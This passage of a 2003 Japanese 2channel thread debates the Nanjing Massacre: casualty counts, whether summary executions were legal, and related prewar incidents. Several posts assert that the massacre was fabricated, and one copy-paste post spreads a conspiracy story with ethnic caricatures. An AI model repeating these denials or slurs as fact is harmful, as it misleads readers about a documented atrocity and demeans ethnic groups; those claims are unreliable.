日本人ばかりなり(当時、報道が軍の厳重な統制下にあった)と言われた大事件を、如何
なる魂胆かは知らぬが否定し、訴訟まで起こす者のいることで、このようなことはまこと
に不正明なことと言わねばならぬ。盗人猛々しいくらいの形容詞では足りぬ。歴史的事
実はいかなるものであれ、事実として認めるほうが宜しい。さもなくば、日本は事実を
秘匿し始めた、将来またやるかも知れぬ、と案じる外国人も出てこよう。この未曾有の
事件を否定すればするほど、【日 本 の 恥】の上塗りとなるくらいのことは、常識
であると思う。

 (「外交の真髄を求めて」 P35〜P36)




814 ::03/09/13 11:25 ID:fBfP68XV
まあ 【日本の恥】 は 戦後の外務省の日本外交 そのものなわけだが プゲラチョ

815 :名無しかましてよかですか?:03/09/13 11:54 ID:mGjlB9YG
>813 もうやめたら、市民に対する暴虐には決着がついてるから。
 >>残虐行為は被害者の数が問題なのではない。
   おもいっきり数の問題です。南京事件は数が多いからこそ注目された。
   300人やそこらなら注目されない。
 それに、この人の意見を受け止めようとしたら、かなり矛盾が出るんだけど。
>>知らぬは日本人ばかりなり(当時、報道が軍の厳重な統制下にあった)と言われた大事件
  報道が統制下だったっけ?世界中に報道されたとか言うけど、記者のほとんどが見てないとか言うぞ。
  見たのはF.T.ダーティンくらいかな。
  虐殺が有ったとしたら朝日の報道はどういうこと?なんで東京裁判の時証言者がいい加減なの?

816 :名無しかましてよかですか?:03/09/13 12:23 ID:mGjlB9YG
<南京(米艦オアフ号より)十二月十五日>南京の包囲と攻略を最もふさわしい言葉で表現するならば、
”地獄の四日間”ということになるだろう。
 首都攻撃が始まってから南京を離れる外国人の第一陣として、私は米艦オアフ号に乗船したところである。
南京を離れるとき、我々一行が最後に目撃したものは、
河岸近くの城壁を背にして三〇〇人の中国人の一群を整然と処刑している光景であった。
そこにはすでに膝がうずまるほど死体が積まれていた。
 それはこの数日間の狂気の南京を象徴する情景であった。
 南京の陥落劇は、罠にはまった中国防衛軍の筆に尽くせないパニック・混乱状態と、その後に続いた日本軍の恐怖の支配、ということになる。後者では何千人もの生命が犠牲となったが、多くは罪のない市民であった。
 首都放棄以前の中国軍の行為も悲惨であったが、侵入軍の狼藉に比べたらおとなしいものだった。
 南京にいる外国人は全員無事である。

817 ::03/09/13 12:31 ID:iqCVM2fM
30万も虐殺されてるのに、こんな議論が出てくること自体良く考えれば
やっぱりおかしいよ。

明らかにこの虐殺は中国の捏造

818 :名無しかましてよかですか?:03/09/13 12:50 ID:0x7nQZzN
>816
>河岸近くの城壁を背にして三〇〇人の中国人の一群を整然と処刑している光景であった
これに関しては国民党軍兵士、もしくは便衣兵(現代で言えばゲリラ)の可能性もあり、一
概に断言はできづらいのでは。

819 :名無しかましてよかですか?:03/09/13 12:52 ID:mGjlB9YG
>818
 南京の包囲と攻略を最もふさわしい言葉で表現するならば、
”地獄の四日間”ということになるだろう。
   南京についてこの言葉がものすごく引っかかって、単に否定できない。


820 :【コピペ推奨】:03/09/13 14:31 ID:HB4wpyC0
総連をターゲットにした建国義勇軍を調査してみた
  ↓
あれ?建国義勇軍を調査してたはずなのになぜ総連にたどり着く?
  ↓
これはつまり 自 作 自 演 では?
  ↓
「おまえは知りすぎたニダ」
  ↓
「総連に依頼されたアルヨ」
  ↓
あぼーん

以前も、チマチョゴリ切り裂き事件を追っていたフリーライターが、
自作自演をかぎつけたとたんに殺されちゃったというのがあったなあ…。
((((;゚Д゚)))ガクガクブルブル
祭りの予感ッッ…。

ニュー速+本スレ
http://news5.2ch.net/test/read.cgi/newsplus/1063412347/
新聞記事
http://cgi.members.interq.or.jp/www1/q-mail/gh/img-box/img20030913102250.jpg
少しだけ関連のリンク
http://www.korea-np.co.jp/sinboj/sinboj2002/11/1115/111582.jpg
http://ex.2ch.net/test/read.cgi/korea/1063205727/
http://www.tbs.co.jp/ac/bt/20030911c.html


821 :名無しかましてよかですか?:03/09/13 20:15 ID:0F7TDtBk
大虐殺肯定派の人たちへ。

肯定派のほとんどはあったという脳内の前提のもとに、否定派の言葉尻に
いちゃもんつけているだけのような気がするのですが。
肯定派、否定派の文献などを見て、自分で判断した頭のよい肯定派の人たち、
私も正しい認識をしたいので、肯定派の最も権威とされている文献を
紹介してください。

もちろんレイプオブ南京とかは全然根拠にならないってのは分かっている
人たちの紹介を求めています。

822 :名無しかましてよかですか?:03/09/13 21:21 ID:yns0ZABI
>>821

正しい姿勢age

823 :K−K:03/09/14 01:35 ID:/EhYs9sS
>>790
 法律が存在しないのに、違法だとは・・・
 ちょっと、私の理解を超えている法律解釈だと言わざるを得ません。

>>793
>>K−K
>>なぜ、明文規定を挙げなければならないのか理解できません。
>まさに迷言ですな。

筒井若水(主編)『国際法辞典』有斐閣
---- 引用 ----
【国際法】
(略)
4法源 国際法の主な(形式的)法源は、条約
と国際慣習法であり、一般国際法は、原則とし
て後者の形をとる。後者は不文法であるが、国
際慣習法規を示す条約その他国際文書や国際判
例などによって、近年では、実際上は、成文法
規の形をとることが多い。
---- 終わり ----

824 :K−K:03/09/14 01:44 ID:/EhYs9sS
>まあいるとしたら吉田裕かな。   お勧め文献
>高野雄一『国際法概論』 小池政行『国際人道法 戦争にもルールがある』
>井上忠男『戦争と救済の文明史』 藤田久一『戦争犯罪とは何か』
>自衛官の人ならばもしかすると、国際法を習っている可能性大

 うーん、戦時国際法の文献を薦めるならば、
藤田久一『国際人道法』
城戸正彦『戦争と国際法』
竹本正幸『国際人道法の再確認と発展』
足立純夫『現代戦争法規論』
 が専門書だと言えるのだけどね。

 戦前だと、信夫淳平・立作太郎・有賀長雄・遠藤源六・篠田治策などかな?

825 :名無しかましてよかですか?:03/09/14 02:21 ID:6GpVyA6X
この妄言に賛同していたk−kの登場だね。

>広島・長崎の原爆投下は市民を標的にしたものではなかった。(名無し便衣兵)

826 :名無しかましてよかですか?:03/09/14 03:06 ID:GqPqFJos
>>821
とりあえず、肯定派なら秦郁彦が右にも左にも偏ってないだろう。

827 :名無しかましてよかですか?:03/09/14 05:05 ID:ObDf/wiM
南京大虐殺はなかったと主張する学者は実在しますか? もし実在するなら
名前を挙げてください。
m9('v`)ノ<挙げてください
www.ismusic.ne.jp/kouei34/xg0016471.mp3

828 :名無しかましてよかですか?:03/09/14 05:11 ID:ZzWOu2au
http://ocn.s18.xrea.com/
おまいらこのサイトのトリップ鑑定で
#kamiを試してみてください





829 :名無しかましてよかですか?:03/09/14 09:02 ID:EuM1jee9
毛毛め、ほとぼりが冷めたと思って出没してきたな。w
このダブハンめ。

つーか竜馬との決着はどうなったんだ?w
テメーが謝罪したんだろ?個人情報を公開したの。

830 :名無しかましてよかですか?:03/09/14 11:16 ID:GiuJQS8P
>>823




        まあつまり、南京事件は君の脳内違法であることの自白でしかないわけだな










831 :名無しかましてよかですか?:03/09/14 11:23 ID:GiuJQS8P
まぁ 普通は国際慣習法【違反】 という用語をもちいるわけだが 
(南京事件は国際慣習法違反でもないけど)



法律が存在しないのに、【違法】だとは・・・
ちょっと、私の理解を超えている法律解釈だと言わざるを得ません。


832 :名無しかましてよかですか?:03/09/14 11:25 ID:GiuJQS8P
まぁ、K-Kの程度が低いことは 昔からわかっていたけど


南京事件は 違法ではない ということでよろしいね



787 名前:K−K 投稿日:2003/09/13(土) 00:01 ID:txci201e
>>785
> 明文規定がないということでよろしいですね?

 はいはい、構いませんよ。

833 :名無しかましてよかですか?:03/09/14 12:06 ID:ObDf/wiM
>>832
>南京事件は 違法ではない ということでよろしいね

どこの国の学者がそのようなことを言っているのですか? その国名と学者の名前を
挙げてください。
m9('v`)ノ<挙げてください


834 :名無しかましてよかですか? :03/09/14 13:27 ID:9SM0X8yu
主に保守系の学者
  わしの尊敬する北村稔や渡部昇一など多数

835 :名無しかましてよかですか?:03/09/14 13:34 ID:I5LM7ww8
ID:GiuJQS8Pに国際法の知識も理解もないことだけは確実である(大藁

836 :名無しかましてよかですか?:03/09/14 13:36 ID:9SM0X8yu
>835よ 負け惜しみか?根拠出せよ!


837 :名無しかましてよかですか?:03/09/14 20:28 ID:sVGK8StT
明文規定がないこと自体は明らかであるから(もしあるならば示していただきたい)、K−Kは「慣習法として成立要件を満たしていたこと」を説明する必要がある。

明文規定がない以上、「法違反」と言い張るならば根拠を示す必要があるからな。

838 :名無しかましてよかですか?:03/09/14 22:21 ID:AQ3Jlx9k
つーかK−Kは[Kitigai−King]の略なのか?

839 :名無しかましてよかですか?:03/09/15 00:32 ID:QmiPwma+
法に基づく裁きは、法に基づいて設置される裁判で審判すること、
が当時の法的国際慣習ではなかった可能性があると思っているバカがいるとは、
ちょっと驚いた。

840 :名無しかましてよかですか?:03/09/15 00:56 ID:IrMVLdo6
838に座布団10枚!

841 :名無しかましてよかですか?:03/09/15 02:16 ID:PKmRpfi8
>>839
 だから、どの法にも基づいていなかったんだね
 まだそんなことを理解できない バカがいるとは、かなり驚いた。


842 :名無しかましてよかですか?:03/09/15 06:39 ID:DDho1Z10
>>839
なぜ明文化されていないのかを考えたほうがいいね。
佐藤博士は、違法とは言えない、と言ってる。


843 :名無しかましてよかですか?:03/09/15 11:05 ID:sd+c4lTn
>>842
> >>839
> なぜ明文化されていないのかを考えたほうがいいね。
> 佐藤博士は、違法とは言えない、と言ってる。

戦時重犯罪は裁判の後でなければ処罰出来ない、というのは佐藤も言っていたはず。
そうではなくて、佐藤は数の多さが事実上裁判を不可能にしたという説を採っていたはず。

「筈」ばっかりで申し訳ないが国際倫理調査会に乗っていた佐藤氏の論文のところが
リニューアルされてなくなってしまったので確認出来なくなったのでな。

844 :名無しかましてよかですか?:03/09/15 12:17 ID:7PNbZ7I1
プッ、おまいらは事後法が正しいって見方なのか?
考えてみろよ。その当時の法規範を。
バカばっか(w

845 :名無しかましてよかですか?:03/09/15 22:50 ID:inmAs62g
>戦時重犯罪は裁判の後でなければ処罰出来ない、というのは佐藤も言っていたはず。
>そうではなくて、佐藤は数の多さが事実上裁判を不可能にしたという説を採っていたはず。

それで処刑が合法になるなら問題ないでしょう。
慣習法では裁判を行わない場合も合法となりうるという事ですから。

846 :エロリスト:03/09/16 13:46 ID:vADXwX1b
パイパンを行わない場合はモーホー?ハァハァ

847 :名無しかましてよかですか?:03/09/16 16:17 ID:IFvNOlJX

 >それで処刑が合法になるなら問題ないでしょう。
>慣習法では裁判を行わない場合も合法となりうるという事ですから。

この記述だと、裁判を行わない場合も違法となりうる、ともいうことができるわけだが、
では、違法である場合と合法である場合と違いが何か?
慣習法の示すところでの指標があるのか?
を証明しなければならない。

だいたい、慣習法上合法であるとする国際法学者などは存在しないところが致命的だな。
否定派の佐藤和男とて無裁判処刑自体を合法だということが出来なかったことは、合法論の破綻を示しているということだろう。

私見だが、裁判が、刑罰の正当性を保障する機能を持っていることを考慮したのだと思うな。
つまり、慣習法以前に法理学・法哲学の問題だといえるだろう。

848 :名無しかましてよかですか?:03/09/16 16:18 ID:IFvNOlJX
しかし、ここの否定派は、まったく国際法学者の見解というものを
考慮しないようだ。
否定派ってのがまともに相手にされないのは、この辺だと思う。

849 :名無しかましてよかですか?:03/09/16 17:01 ID:UdUaw6vZ

法学で学者の見解を重視?  バカかね 君は

850 :名無しかましてよかですか?:03/09/16 17:07 ID:VlTRSRUO
>>847
>だいたい、慣習法上合法であるとする国際法学者などは存在しないところが致命的だな。

佐藤博士は合法と言ってますが?
絶対違法であるという国際法の学者がいないのが致命的です。

851 :名無しかましてよかですか?:03/09/16 17:29 ID:IFvNOlJX
>法学で学者の見解を重視?  バカかね 君は

よく読めよ。
熱くなるなよ。


852 :名無しかましてよかですか?:03/09/16 18:02 ID:6Ie5lAQL
そもそも中国軍の国際慣行を逸脱した便衣作戦が原因なんだから
悪くても違法とまでは言えないだろうね。

中国側の責任から論じるべきだね。

853 :名無しかましてよかですか?:03/09/16 18:08 ID:IFvNOlJX
>佐藤博士は合法と言ってますが?
>絶対違法であるという国際法の学者がいないのが致命的です。

このスレでも説明されているだろう?
佐藤は、無裁判処刑を合法だと言っているのではないんだよ。
無裁判処刑を違法だとしながら、「厳正な平民分離を行った」「多数であった」
ことを理由に合法だと言っているだけだ。

854 :名無しかましてよかですか?:03/09/16 18:12 ID:Xi8VE48m
>853
じゃあ合法じゃねぇか。

855 :名無しかましてよかですか?:03/09/16 18:14 ID:6Ie5lAQL
中国軍の違法行為が原因にもかかわらず、「厳正な平民分離を行った」
のだから日本軍は無罪だろね。
「多数であった」のも当時の中国軍が国際慣行など全く無視した
滅茶苦茶な軍隊だったってこと。
処刑が違法なんてのは明らかに日本軍への責任転嫁だね。


856 :名無しかましてよかですか?:03/09/16 18:46 ID:I6isxUAl
否定派は 【中島今朝吾】 を検索すべし


857 :名無しかましてよかですか?:03/09/16 18:46 ID:fBwfUyte
>>855
となると今度は「その原因は国際法違反の日本の中国侵攻だよ」、という
議論になるわけだが。

858 :名無しかましてよかですか?:03/09/16 19:18 ID:VlTRSRUO
>>853
>無裁判処刑を違法だとしながら、「厳正な平民分離を行った」「多数であった」
>ことを理由に合法だと言っているだけだ。

だから合法なんでしょ?
原則としては裁判をしなきゃないけど南京の場合は「合法」。
それで構いませんよ。

859 :名無しかましてよかですか?:03/09/16 19:29 ID:6Ie5lAQL
857
おいおい中国に進出していたのは日本だけじゃないぞ。
当時は国際的にも認められていたし、戦争に引っ張り込んだのは
中国側。
言い出せば中国軍の通州大虐殺あたりからだな。

860 :名無しかましてよかですか?:03/09/16 20:14 ID:fBwfUyte
>>857
はて、日本の他に中国に武力侵攻した国があったかな?

>当時は国際的にも認められていたし

根拠は? 9カ国条約ってしってます?

>言い出せば中国軍の通州大虐殺あたりからだな。

通州大虐殺は南京政府ではなく、冀東防共自治政府(日本の傀儡政府)
が起こした事件で、しかも謝罪と賠償が済んでますが。
なんでそれが南京事件に繋がるのか論理的に説明してください。


861 :名無しかましてよかですか?:03/09/16 20:36 ID:41VV6ATJ
戦争に持ち込んだのが中国って言ってますが。蒋介石知ってる?

傀儡だから何?中国人による実際にあった極めて残虐な虐殺だよな。
南京事件はまだ事実証明されていないのですが。

862 :名無しかましてよかですか?:03/09/16 20:52 ID:fBwfUyte
>戦争に持ち込んだのが中国って言ってますが。蒋介石知ってる?

だから根拠は?

>傀儡だから何?中国人による実際にあった極めて残虐な虐殺だよな。
>南京事件はまだ事実証明されていないのですが。

答えになってません。
何を訊いているのかよく読んで下さい。


863 :名無しかましてよかですか?:03/09/16 21:00 ID:YXAf2UoX
>>860
  通州事件は、国民党・共産党が背後にからんでいたのですが、、、

 何も知らないのはあなたのほうですね 


864 :名無しかましてよかですか?:03/09/16 21:03 ID:YXAf2UoX
ところが近年になって、通州事件は冀東保安隊第1、第2総隊の計画的行動であることが中国側史料によって明らかとなった。
 例えば、張慶余(当時冀東保安隊第1総隊長)の「冀東保安隊通県決起始末記」(元国民党将領抗日戦争体験記叢書「七七事変」所載)や「戦火蔓延、平津陥落」及び「冀東保安隊の決起について」(武月星他「盧溝橋事変風雲偏」)等である。
 詳細は割愛するが、要はこうである。
 昭和10(1935)年11月に冀東防共自治委員会が成立して河北保安隊が冀東保安隊と改称されるや、第1総隊長・張慶余は河北省主席・商震に指示を仰いだところ、暫(しばら)く表面を糊塗(こと)すべしと言われた。
 12月、冀東政務委員会が発足して宋哲元が委員長に就任すると、張慶余は第2総隊長・張硯田と共に哥老会(かろうかい、明代からの秘密結社)の首領・張樹声を通じて宋哲元と面会した(張慶余・張硯田ともに哥老会会員)。
 宗哲元は両名の抗日決意を「政府を代表して」歓迎すると述べ、軍事訓練を強化して準備工作をしっかりやれと命じ、各々に1万元を贈った。
 2人が「委員長に従って国家に忠誠を尽くす」旨(むね)を述べると、宋哲元は「素晴らしい、素晴らしい」と言った。
 通州での決起はこの会見と関係がある―――こう張慶余は告白しているのだ。
 翌昭和11(1936)年春には、張硯田の第2総隊内にすでに中共支部が結成されていた。


865 :名無しかましてよかですか?:03/09/16 21:04 ID:41VV6ATJ
それより南京事件の根拠は?

http://www3.kiwi-us.com/~ingle/topix-2/the%20origin%20of%20sinojwar.html

866 :名無しかましてよかですか?:03/09/16 22:13 ID:fBwfUyte
>>864
この話題になると錦の御旗のように持ち出される文章なので
当然知っていますが。
で、「近年になって明らかになった」ことを
なんで当時の日本軍が知ってたんですかね?

>>865
>http://www3.kiwi-us.com/~ingle/topix-2/the%20origin%20of%20sinojwar.html

最初の3行および
>この戦争は、蒋介石がファルケンハウゼン軍事顧問
>団長が作成した戦争計画に承認を与えることにより開始された。
の理由が不明。

蘆溝橋事件は7月7日。
和平交渉を無視した日本の派兵声明が7月11日。
日本軍の戦闘の作戦立案が7月15日。
廊坊事件、広安門事件、があり、
日本軍に武力行使許可が出たのが7月26日。
以上の流れを無視してなぜ8月13日の命令を根拠に持ってくるのか
わからないので解説してください。
これ自体、日本の派兵に対するリアクションではないのですか?

>それより南京事件の根拠は?

日本軍の公式資料による捕虜殺害の記録。


867 :名無しかましてよかですか?:03/09/16 23:08 ID:UPDm/pB+
>>866
>日本軍の公式資料による捕虜殺害の記録。

民間人の大量殺戮は日本軍の公式記録にありますか?
なければ南京大虐殺は捏造という事でFA?

868 :K−K:03/09/17 00:32 ID:CjG/5AJ9
>だから合法なんでしょ?
>原則としては裁判をしなきゃないけど南京の場合は「合法」。
>それで構いませんよ。

 しかし、佐藤氏の主張は、「兵民分離が厳正に行われた末に、変装し
た支那兵と確認されれば」という前提に立っているようですが、「兵民
分離が厳正に行われた」のではないことは、残留外国人などの第3者的
視点においても十分証明されていると思われます。

 また、「多人数が軍律審判の実施を不可能とし(軍事的必要)」とい
う主張の根拠は、同じ否定派の原剛氏の見解なのですから、とても論理
として成り立つものとは思われませんね。

 仮にその時の軍事的必要が、一般に考えられている人道的配慮を上ま
わって生じた場合においても、全てを殺害するという方法にその解決を
求めることに妥当性はないと言えるでしょう。
 例えば軍律によっては、刑罰として死刑の外に追放などがあます。南
京城内の治安を保つことに軍事的必要を求めるので在れば、「追放」を
することでその解決を見ることができます。人道的配慮を軍事的必要に
よって越えることが可能であっても、その先にあるのが無法状態ではな
く、より人道的配慮に基づいた行動を必要とされるわけですから、軍事
的必要=処刑合法とならないのは当然のことと思われます。

869 :名なしかましてよかですか?:03/09/17 01:45 ID:ilV1exhA
実は南京大虐殺は中国人にばかにされた将校たちが怒って
大虐殺であったらしい

870 :名無しかましてよかですか?:03/09/17 01:52 ID:O6eDhkoW
>>868
>南京城内の治安を保つことに軍事的必要を求めるので在れば、「追放」を
>することでその解決を見ることができます。

つーか毛毛は、アホ?

871 :名無しかましてよかですか?:03/09/17 02:02 ID:er1pozvS
>>870
当時普通に行われてた方法だが。 <捕らえて追放
物知らずが他人にアホとかいってると恥かくよ。


872 :名無しかましてよかですか?:03/09/17 02:17 ID:C77ZFV1e
>>868
国際法の解釈問題と軍民分離の手法は話が別なんだけど
国際法の解釈は佐藤説でOKでいいのかな?


873 :名無しかましてよかですか?:03/09/17 03:48 ID:fVIY7Jj6
国際法は全く意味のない慣習集
法律というのは強制権(警察権)があって初めて有効に機能します。
法律を守らないと、罰せられるので、皆安心に安全に暮らしているのです。
法律に従って紛争ごとも解決できます。でも、国際法は誰が作っているのですか?
答えは「みんな」です。世界中の風俗、習慣、宗教が違う人たちの、「人間」としての共通事項を集めたのが国際法です。
だから国際慣習法とも言われるのです。強制力なんてありません。昔アメリカが「世界の警察官」とか言ってましたが。
    
  国際法には罰則規定が無いし、強制力が無いから非難は出来るが裁いたり、咎めることは出来んよ。

874 :名無しかましてよかですか?:03/09/17 04:23 ID:fVIY7Jj6
>860 はて、日本の他に中国に武力侵攻した国があったかな?
  859は進出と言っただけで武力侵攻とは違う。
 上海空爆については、蒋介石という人と日本という人に分かれている。
  九カ国条約の内容は
  【条約の内容】条約第1条は,ルート案をそのまま生かしたもので,それは次の4原則からなる。
[1]中国の主権,独立,領土的・行政的保全を尊重すること
[2]中国が自ら有力かつ堅固な政府を確立するため,完全にして障害のなき機会を供与すること
[3]中国の領土をとおして,いっさいの国民の商工業に対する機会均等主義を有効に樹立維持するため,各国が尽力すること
[4]友好国の国民の権利を減殺すべき特別の権利または特権を求めるため中国における情勢を利用すること,
および,友好国の安寧に害ある行動を是認することをさしひかえること,以上である。
なお,第2条以下はこの原則の趣旨を具体化したものである。
  上海空爆が蒋介石なら上海事変はしかたなし、もし日本軍がしたなら侵略だね。だから、このことによって侵略又は防衛と言うように変わる。


875 :名無しかましてよかですか?:03/09/17 04:35 ID:fVIY7Jj6
話題がそれるのでおそらくラスト こんなの発見した。
>>上海租界と日本砲艦への空爆、閘北にあった上陸本部への8月13日の攻撃から
開始された。現在の中国ではこれから数年の事態を8・13抗戦と呼んでいる。
前日から第1次上海事変で中立地帯と協約された上海北停車場(站)へ88師を集中させていた。
  >当時は国際的にも認められていたし
 侵略の定義は決まっていなかったと思う。

876 :名無しかましてよかですか?:03/09/17 04:44 ID:fVIY7Jj6
 上海事変は、昭和7年(1932年)1月18日の第一次と、昭和12年(1937年)
8月9日の第二次の二度起きていて、ここでいう上海事変は昭和7年の第一次の方です。
 満州事変(昭和6年)の直後から、上海では中国人による大規模な抗日運動が起こりますが、
上海事変はその抗日運動の激しいなか、
上海で起きた中国人による日本人托鉢僧襲撃という事件がその発端でした。
 満州事変に関して日本は、いわゆる列強といわれていた国々から激しく批難されていましたが、
当時、上海には日米英の共同租界とフランス租界がありました。そのため上海で起きた中国人による日本人托鉢僧襲撃は、
それら列強の注意を満州から引き離そうとして起こした関東軍参謀の謀略によるものだったと言われています。
 日本人托鉢僧襲撃事件の後、1月28日に、日本海軍の陸戦隊と中国軍とが
衝突して戦闘状態となります。最初、中国軍の方が優勢で、苦戦を強いられた日本は、2月に入って上海派遣軍
(司令官は陸軍大将白川義則)を編成して戦線に投入します。この上海派遣軍の中核になっていたのが、
金沢の第9師団(師団長は陸軍中将植田謙吉、摩下の歩兵第7連隊は石川県人によって編成されていた部隊)でした。
 上海派遣軍と中国軍の間では、2月20日に大規模な戦闘が行われますが、なかなか戦闘に決着が付かないため、
日本は増援部隊を送ります。その結果、中国軍が退却し戦闘が終結したのは3月になってからでした。戦闘による日本軍の戦死者は769人でした。
 また、この時、日本海軍は空母「加賀」を派遣していますが、2月22日に蘇州上空で
日本の艦上攻撃機(三菱十三式三号艦上攻撃機)1機が、アメリカ人義勇兵の操縦する中国軍戦闘機
(ボーイング218)1機に撃墜されますが、その直後、日本の艦上戦闘機(中島三式二号艦上戦闘機)
3機がこれを撃墜して、日本海軍最初の空中戦による戦果を挙げました。
 地上戦闘の終結後、停戦交渉が行われ、停戦協定が成立したのは5月5日でした。
この停戦交渉中の4月29日に、上海において尹奉吉による日本軍に対する爆弾テロ事件が起きました。
 この上海における日中両軍の戦闘の間に満州では、日本がハルビンを2月に占領し、
3月1日には満州国を樹立させています。上海事変は満州事変に密接に関わっていた戦争でした。(メキラ・シンエモン)


877 :名無しかましてよかですか?:03/09/17 04:51 ID:fVIY7Jj6
トレヴェニアン 「シブミ」より
8月12日に中国側は日本総領事館と商社の電話線を切断した。
その翌日、13日の金曜日に、中国軍第八十八師団が北停車場に到着して、
租界から外に通じる道路をすべて遮断した。
それは、ごく少数の日本軍と自分たちの間の緩衝用にできるだけ多くの一般市民を閉じ込めておくのが狙いであった。
8月14日にアメリカ製ノースロップ機に乗った中国軍パイロットが上海を盲爆した。
高性能爆弾の一弾がパレス・ホテルの屋根を貫いた。ベつの一弾がカフェ・ホテルの表の路上で爆発した。
729名が死に、861名が負傷した。
31分後にべつの中国機が女性と子供の避難所になっていた大世界娯楽センターを爆撃した。
1012名が死に、1007名が負傷した。

878 :名無しかましてよかですか?:03/09/17 05:15 ID:fVIY7Jj6
第一次上海事変が起きる。1932年1月18日。
これは日本軍の謀略だったという説もあるが、事実は不明。
事の始まりは日本人托鉢僧が中国人に襲撃されるというものだったが、
当時の中国の反日感情からして、わざわざ工作しなくてもその程度の事件なら起きる


879 :名無しかましてよかですか?:03/09/17 05:35 ID:IyfXwOlb
http://satellite.esenden.com/ranking/ranklink.cgi?id=groovy

880 :名無しかましてよかですか?:03/09/17 14:58 ID:RT6ngDN9
>>867
>民間人の大量殺戮は日本軍の公式記録にありますか?
>なければ南京大虐殺は捏造という事でFA?

市民の強姦や虐殺は軍上層部の目的や命令などなく、現場の兵士が
勝手にやったことだろう。当然、捕虜の処刑のような日本軍の
公式記録などないし、日本軍によるその後の調査もなかったから、
人数がはっきりしないのは当然である。だからこそ中国人、欧米人、
日本人という異なる立場の人間たちの膨大な証言が重要なのだ。
公式記録がなければ市民の虐殺がなかったということにはならない。

881 :味ぽん:03/09/17 15:39 ID:CLpNJ41r
>880
「現場の兵士が勝手に」強姦したケースの記録は残ってますよ。
日本軍法によって厳罰に処されています。


882 :名無しかましてよかですか?:03/09/17 17:16 ID:C77ZFV1e
>>880
個人的な殺人が何万件もあるわけないので
南京大虐殺はなかったと言ってよいでしょう。


883 :名無しかましてよかですか?:03/09/17 17:21 ID:iwC5rxE9
ということで南京虐殺は無かったで

========== 終 了 ==========

884 :名無しかましてよかですか?:03/09/17 17:29 ID:TvVWcRmy
>>881
>「現場の兵士が勝手に」強姦したケースの記録は残ってますよ。
>日本軍法によって厳罰に処されています。

あまりに酷くて見過ごしにできなかったケースが、ね。
で、その記録があったから、それ以外のケースはなかったとでも?

885 :味ぽん:03/09/17 17:52 ID:CLpNJ41r
>884
想像で語るのはよしなさい。
印象操作と言われても仕方がありませんよ。

強姦程度で厳罰に処されるのなら、
虐殺などしたら更に厳しい処置があったと考えるのが妥当というものです。
しかも日本兵は南京を陥落させたら戦争が終わって日本に帰れると思っていたのですから、
なにも軍法を犯してまでそんな割に合わない事をする理由がありません。

ロシア軍や中国軍は略奪や強姦は兵士への勝利の報酬として
見てみぬ振りをする習慣だったのですよ。
しかし日本軍はそのような行為を厳重に禁止しました。
そういう資料ならたくさん残っています。(南京事件資料集等)


886 :名無しかましてよかですか?:03/09/17 18:00 ID:dZ6eCk2d
市民の虐殺については否定する証言(中立立場の記者)が出ているし、
>>公式記録がなければ市民の虐殺がなかったということにはならない。
 各国の新聞にも特に南京の市民虐殺についてはいっていない。
個人の犯罪は有ったが、それをもって虐殺とは言いがたいだろ。
強姦については発覚したケースについてはある程度処分していたろうし、発覚しないやつはあるよ。
881は「軍(日本)の方針としては強姦は違法行為として裁いた。」
といっているのであって、884の様なことは言っていない。
>>あまりに酷くて見過ごしにできなかったケースが、ね。
どこから判断したのやら?




887 :K−K:03/09/18 00:34 ID:OtUfpxTg
>国際法の解釈問題と軍民分離の手法は話が別なんだけど
>国際法の解釈は佐藤説でOKでいいのかな?

 ちゃんと読みましょう。
 私は、実際問題も、法的問題も共に批判しています。
 佐藤説はNGです。

888 :名無しかましてよかですか?:03/09/18 01:09 ID:LleR9Q4Z
あなたが国際法の学者でない限り、国際法解釈において
佐藤説が間違ってると言っても意味ないですよ。

南京における軍民分離において、絶対的に裁判が必要で
あるとする主張ならば、そう主張している国際法学者の学説
を提示して下さい。




889 :名無しかましてよかですか?:03/09/18 01:25 ID:LleR9Q4Z
>>887
国際法学会で座長を務めるほどの佐藤博士の言説を間違いとするなら、
K−K君の脳内理論だけじゃ根拠にならないでしょう。
少なくとも国際法の学者による反対説を引用するくらいでないとね。
お話にもなりませんよ。


890 :名無しかましてよかですか?:03/09/18 02:01 ID:8JO6cXAS
批判されてるのは進歩のないk−k君!君自身ww

891 :名無しかましてよかですか?:03/09/18 15:03 ID:2cgeRU4R
法律というのは強制権(警察権)があって初めて有効に機能します。
法律を守らないと、罰せられるので、皆安心に安全に暮らしているのです。
法律に従って紛争ごとも解決できます。でも、国際法は誰が作っているのですか?
答えは「みんな」です。世界中の風俗、習慣、宗教が違う人たちの、「人間」としての共通事項を集めたのが国際法です。
だから国際慣習法とも言われるのです。強制力なんてありません。昔アメリカが「世界の警察官」とか言ってましたが。
    
  国際法には罰則規定が無いし、強制力が無いから非難は出来るが裁いたり、咎めることは出来んよ。




892 :名無しかましてよかですか?:03/09/18 15:41 ID:dFCYoc/c
>>891
つまり「便衣兵は国際法違反だ」と咎めたりすることは出来ない。
にもかかわらず、それを処刑という形で裁いた日本軍はとんでもない、
ということですな。


893 :名無しかましてよかですか?:03/09/18 22:18 ID:YkfrnlIk
>25
これ間違っているぞ。
「普通の数で考える限り
1+1/3x3=1.9・・・=2」
詳しいことは
http://thebbs.jp/math/1043759497.html

こういうところをスルー出来るから宗教論争になるんだろうな。

ところで、南京の犠牲者の遺骨の法医学的な検証はしてるのか?
遺骨を数万体ぐらい発掘してその内の数百体を法医学的に調べて、
日本軍の武器で殺害された可能性が高ければ30万説も信じられる。

もっとも、なぜ南京だけを一方的に取り上げるかも理解できない。
このような戦争犯罪はヨーロッパ戦線でもあったし、
中国人が加害者で日本人が被害者になることもあった。

894 :名無しかましてよかですか?:03/09/18 22:47 ID:S7Z/JmJI
>892 いや、すまんかった。「咎める」は僕の間違いだった。
非難できるけど裁けない。

895 :名無しかましてよかですか?:03/09/18 22:51 ID:S7Z/JmJI
連続ですまないが、
1 南京で日本軍は少しでも捕虜を取ろうとしたのか?
2 南京に捕虜施設って有ったっけ?
3 もうそろそろ多数決でもして南京問題について採決を取ったら?

896 :K−K:03/09/19 00:00 ID:xmNixCP0
>>888
>あなたが国際法の学者でない限り、国際法解釈において
>佐藤説が間違ってると言っても意味ないですよ。

 理由を説明しているので、意味が出て来るのですよ。
 私の説明に不備があるのでしたら、どうぞ、ご指摘なさってください。


>南京における軍民分離において、絶対的に裁判が必要で
>あるとする主張ならば、そう主張している国際法学者の学説
>を提示して下さい。

 当時・現代の戦時国際法学者の見解を総合し、南京の事例に当てはめれ
ば、無裁判殺害に合法性がないという結論に到ります。
 反論があればどうぞ。

897 :名無しかましてよかですか?:03/09/19 00:01 ID:xmNixCP0
>>889
